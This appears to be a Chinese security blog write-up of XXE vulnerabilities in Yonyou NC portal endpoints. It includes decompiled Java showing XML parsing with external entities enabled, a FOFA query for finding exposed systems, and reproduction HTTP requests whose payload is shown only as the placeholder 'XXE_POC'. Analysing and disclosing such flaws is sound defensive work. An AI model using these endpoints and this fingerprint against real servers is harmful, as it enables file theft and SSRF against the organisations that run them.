用友NC content、portalpage 多个XML实体注入(XXE)漏洞


漏洞简介

用友NC系统存在XML外部实体注入(XXE)漏洞。攻击者可通过构造恶意XML内容,利用portalpage/doNew接口解析,实现任意文件读取或SSRF攻击等攻击,进而可能导致敏感信息泄露或进一步的系统入侵。

影响版本

NC63、NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

根据官方漏洞通告部分可知漏洞点为 PmlUtil

那就搜索PmlUtil,找到了 nc/uap/portal/util/PmlUtil.java 看下它的实现吧

public class PmlUtil {
    public static Digester getPortletDigester() {
        Digester pmlDigester = LfwXmlUtil.getDigester((String)Page.class.getName());
        if (pmlDigester == null) {
            pmlDigester = new Digester();
            LfwXmlUtil.setDigester((String)Page.class.getName(), (Digester)pmlDigester);
            PmlUtil.initPsmlDigester(pmlDigester);
        }
        return pmlDigester;
    }

    private static void initPsmlDigester(Digester pmlDigester) {
        pmlDigester.setValidating(false);
        pmlDigester.addObjectCreate("page", Page.class.getName());
        pmlDigester.addSetProperties("page");
        pmlDigester.addCallMethod("page/title", "setTitle", 0);
        String layoutClazz = Layout.class.getName();
        String portletClazz = Portlet.class.getName();
        pmlDigester.addObjectCreate("page/layout", layoutClazz);
        pmlDigester.addSetProperties("page/layout");
        pmlDigester.addSetNext("page/layout", "setLayout", layoutClazz);
        String layoutPath = "page/layout";
        for (int i = 0; i < 10; ++i) {
            String _layoutPath = layoutPath + "/layout";
            pmlDigester.addObjectCreate(_layoutPath, layoutClazz);
            pmlDigester.addSetProperties(_layoutPath);
            pmlDigester.addSetNext(_layoutPath, "addChild", layoutClazz);
            String portletPath = layoutPath + "/portlet";
            pmlDigester.addObjectCreate(portletPath, portletClazz);
            pmlDigester.addSetProperties(portletPath);
            pmlDigester.addSetNext(portletPath, "addChild", portletClazz);
            layoutPath = _layoutPath;
        }
    }
    //xml文件解析
    public static Page parser(File pml) throws PortalServiceException {
    Digester digester = PmlUtil.getPortletDigester();
    try {
        Page page = null;
        Digester digester2 = digester;
        synchronized (digester2) {
            page = (Page)digester.parse(pml);
        }
        String pmlName = pml.getName();
        page.setPagename(pmlName.substring(0, pmlName.length() - 4));
        return page;
    }
    catch (Exception e) {
        throw new PortalServiceException(e.getMessage(), e.getCause());
    }
}
//xml内容解析
public static Page parser(String pml) throws SAXException {
    Object object;
    Digester digester = PmlUtil.getPortletDigester();
    StringReader reader = null;
    try {
        Page page = null;
        reader = new StringReader(pml);
        object = digester;
        synchronized (object) {
            page = (Page)digester.parse((Reader)reader);
        }
        object = page;
    }
    catch (Exception e) {
        try {
            PortalLogger.error((String)LfwResBundle.getInstance().getStrByID("pserver", "PmlUtil-000002"), (Throwable)e);
            throw new SAXException(e.getMessage());
        }
        catch (Throwable throwable) {
            IOUtils.closeQuietly(reader);
            throw throwable;
        }
    }
    IOUtils.closeQuietly((Reader)reader);
    return object;
}
//文件流的形式解析
public static Page parser(InputStream in) throws SAXException {
    if (in == null) {
        return null;
    }
    Digester digester = PmlUtil.getPortletDigester();
    try {
        Page page = null;
        Object object = digester;
        synchronized (object) {
            page = (Page)digester.parse(in);
        }
        object = page;
        return object;
    }
    catch (Exception e) {
        PortalLogger.error((String)LfwResBundle.getInstance().getStrByID("pserver", "PmlUtil-000002"), (Throwable)e);
        throw new SAXException(e.getMessage());
    }
    finally {
        IOUtils.closeQuietly((InputStream)in);
    }
}

代码不多,很简单,就是对多个形式如string、流、文件几种形式的内容进行解析,且PmlUtil.initPsmlDigester() 方法中并未发现禁用外部实体解析功能设置。这意味着攻击者可以通过注入恶意 XML 实体来读取服务器本地文件、发起 SSRF 攻击或导致拒绝服务。

那就看下有那些地方调用了PmlUtil.parser() 方法,

总共找到了4个地方的11个调用,只需关注首尾两个action相关的,中间的两个是不对外的。

在PagePreviewAction.java 中找到了content方法相关实现

content

@Servlet(path="/page/preview")
public class PagePreviewAction
extends BaseAction {
    @Action
    public void content() {
        try {
            String page_xml = this.request.getParameter("page_xml");
            byte[] bytes = page_xml.getBytes("ISO-8859-1");
            String xml = new String(bytes, "UTF-8");
            xml = URLDecoder.decode(xml, "UTF-8");
            Page page = PmlUtil.parser((String)xml);

参数page_xml的值赋值给page_xml后按照 ISO-8859-1 编码方式转换成字节数组,然后使用 UTF-8 编码方式,将上一步得到的字节数组 bytes 解码成一个新的 String 对象 xml,最后进行URL解码后就带入PmlUtil.parser 方法中进行解析,因此造成了XML实体注入(XXE)漏洞。。

再看其他几处

portalpage

doNew

@Servlet(path="/portalpage")
public class PortalPageManagerAction
extends BaseAction {
    private static MultipartResolver multipartResolver = new CommonsMultipartResolver();

    @Action(method="POST")
    public void doNew(@Param(name="groupid") String pk_group, @Param(name="pml") String pml) {
        LfwSessionBean ses = LfwRuntimeEnvironment.getLfwSessionBean();
        if (pml == null || ses == null) {
            return;
        }
        try {
            Page page = PmlUtil.parser((String)URLDecoder.decode(pml, "UTF-8"));

该方法还存在SQL注入漏洞,可参考 用友NC portalpage/doNew sql注入漏洞 (需要合法session)

doEdit

@Action(method="POST")
public void doEdit(@Param(name="pk") String pk, @Param(name="pml") String pml) {
    LfwSessionBean ses = LfwRuntimeEnvironment.getLfwSessionBean();
    if (pml == null || pk == null || ses == null) {
        return;
    }
    try {
        boolean pageNameHasModify;
        PtPageVO oldVersion = PortalServiceUtil.getPageQryService().getPageByPk(pk);
        if (oldVersion == null) {
            this.print("<result><success>false</success><detail>" + NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000006") + "</detail></result>");
            return;
        }
        String pk_group = oldVersion.getPk_group();
        Page page = PmlUtil.parser((String)URLDecoder.decode(pml, "UTF-8"));

importPml

文件上传形式

@Action
public void importPml() throws IOException {
    MultipartHttpServletRequest req = PortalPageManagerAction.getMultipartResolver(this.request);
    Map fileMap = req.getFileMap();
    ArrayList files = new ArrayList();
    String billitem = req.getParameter("billitem");
    if ("null".equals(billitem)) {
        billitem = "";
    }
    if (MapUtils.isNotEmpty((Map)fileMap)) {
        files.addAll(fileMap.values());
    }
    String name = ((MultipartFile)files.get(0)).getOriginalFilename();
    name = name.replace(".pml", "");
    InputStream in = ((MultipartFile)files.get(0)).getInputStream();
    try {
        Page page = PmlUtil.parser((String)IOUtils.toString((InputStream)in, (String)"UTF-8"));

该方法还存在SQL注入漏洞,可参考 用友NC portalpage/importPml sql注入漏洞

漏洞复现

content

需要URL双重编码

POST /portal/pt/page/preview/content?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-www-form-urlencoded

page_xml=XXE_POC

成功在DNSLOG平台收到其DNS请求和HTTP请求

importPml

POST /portal/pt/portalpage/importPml?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybXJ4bi5uZXQ

------WebKitFormBoundarybXJ4bi5uZXQ
Content-Disposition: form-data; name="file"; filename="1.png"

XXE_POC
------WebKitFormBoundarybXJ4bi5uZXQ--

也是可以在DNSLOG平台收到DNS和HTTP请求

参考


手机扫码阅读

孚盟云CRM upload.ashx SQL注入漏洞

索贝融媒体 /sobey-mchEditor/mch/WXArticleInt/restore SQL注入漏洞

评 论